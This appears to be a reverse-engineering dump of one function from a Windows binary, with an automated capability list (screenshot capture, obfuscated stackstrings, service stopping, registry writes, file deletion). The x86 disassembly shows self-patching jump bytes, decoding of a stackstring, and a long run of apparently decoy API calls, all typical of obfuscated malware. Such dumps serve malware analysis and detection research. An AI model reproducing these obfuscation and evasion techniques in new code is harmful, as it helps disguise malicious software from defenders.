Function at 0xace000
Capabilities:
Accept command line arguments
Capture screenshot
Contain obfuscated stackstrings
Create process on windows
Delete file
Extract resource via kernel32 functions
Get common file path
Get disk size
Get file system object information
Get graphical window text
Get system information on windows
Set registry value
Stop service
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov dword [ebp - 0x10], 0xaceabe
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xace036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xace206
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xace0b8
call fcn.0049d612
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xace07a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xace094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xace094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xace04a
mov byte [ebp - 0x7c], 8
mov byte [ebp - 0x7b], 0x71
mov byte [ebp - 0x7a], 6
mov byte [ebp - 0x79], 0x71
mov byte [ebp - 0x78], 2
mov byte [ebp - 0x77], 0x73
mov byte [ebp - 0x76], 9
mov byte [ebp - 0x75], 0x70
mov byte [ebp - 0x74], 7
mov byte [ebp - 0x73], 0x6a
mov byte [ebp - 0x72], 0
mov byte [ebp - 0x71], 0x7d
mov byte [ebp - 0x70], 3
mov byte [ebp - 0x6f], 0x2d
mov byte [ebp - 0x6e], 4
mov byte [ebp - 0x6d], 0x86
mov byte [ebp - 0x6c], 1
mov byte [ebp - 0x6b], 0x86
mov byte [ebp - 0x6a], 0x1f
mov byte [ebp - 0x69], 0x69
mov byte [ebp - 0x68], 0x42
mov byte [ebp - 0x67], 0x4d
mov byte [ebp - 0x66], 0x9b
mov byte [ebp - 0x65], 0xd0
mov byte [ebp - 0x64], 0x83
mov byte [ebp - 0x63], 0x68
mov byte [ebp - 0x62], 0xf1
mov byte [ebp - 0x61], 0x1a
mov byte [ebp - 0x60], 0xff
mov byte [ebp - 0x5f], 0x21
mov byte [ebp - 0x5e], 0x78
mov byte [ebp - 0x5d], 0xac
mov byte [ebp - 0x5c], 0x19
mov byte [ebp - 0x5b], 0xa4
mov byte [ebp - 0x5a], 0xc1
mov byte [ebp - 0x59], 0x9e
mov byte [ebp - 0x58], 0x18
mov byte [ebp - 0x57], 0x66
mov byte [ebp - 0x56], 0x79
mov byte [ebp - 0x55], 0xbf
mov byte [ebp - 0x54], 0x20
mov byte [ebp - 0x53], 0x50
mov byte [ebp - 0x52], 0xf5
mov byte [ebp - 0x51], 0xd9
mov byte [ebp - 0x50], 0x62
mov byte [ebp - 0x4f], 0x1f
mov byte [ebp - 0x4e], 0xf
mov byte [ebp - 0x4d], 0x36
mov byte [ebp - 0x4c], 0x8f
mov byte [ebp - 0x4b], 5
mov byte [ebp - 0x4a], 0x7c
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xace196
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x33
jae 0xace1fb
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x7c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xace1c2
mov dword [ebp - 0x24], 0x1f
mov eax, dword [ebp - 8]
add eax, 0x1d
mov dword [ebp - 8], eax
jmp 0xace18e
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7b]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xace1ea
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xace1d7
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7c]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xace18e
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xac0462
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00408178
mov ecx, eax
call fcn.004032d7
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.0040327b
and dword [ebp - 0x1c], 0
jmp 0xace23e
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xace24e
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xace237
push 0x827
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0x485
call dword [sym.imp.USER32.dll_GetKeyboardType]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0x726
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x1bce
push 0xbd5
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0
push 0x1c1b
push 0x1ebd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0
push 0x1416
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0x1231
push 0x2282
push 0x1e1f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0
push 0x107b
push 0
push 0x24d7
push 0x1d35
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
push 0x1922
push 0xa20
push 0x3af
push 0x1caf
push 0x1ffa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
push 0xb8d
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0
call dword [sym.imp.USER32.dll_SetCursor]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
push 0
push 0xc29
push 0
push 0x113d
push 0
push 0x1bc3
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push 0
push 0x73e
push 0xfa3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
push 0x1810
push 0x659
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
push 0x10f
push 0x1a19
push 0x1046
push 0x2351
push 0x30b
push 0x17e2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
call dword [sym.imp.GDI32.dll_GdiFlush]
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
push 0
push 0x796
push 0xb34
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
push 0
push 0x2224
push 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0
push 0x251d
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0x1036
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0x47f
push 0x1f73
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
push 0x82f
push 0x205
push 0x8a9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
push 0
push 0
push 0x20f5
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
push 0xb7c
push 0
push 0
push 0x305
push 0x1e18
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 0x8cf
push 0x2001
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0x141c
push 0
push 0x1740
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0x11a0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0x417
push 0xb4e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_LineTo]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
push 0
push 0x144c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0x176d
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
call dword [sym.imp.USER32.dll_GetMessageTime]
push 0x8c3
push 0x62e
call dword [sym.imp.USER32.dll_SetCaretPos]
push 0x6e3
push 0x1733
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
push 0x10e3
push 0x2448
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0x30b
push 0
push 0x1c2
push 0x18f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0x187b
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0
push 0
push 0x51c
push 0x23c6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
push 0x160d
call dword [sym.imp.KERNEL32.dll_ExitThread]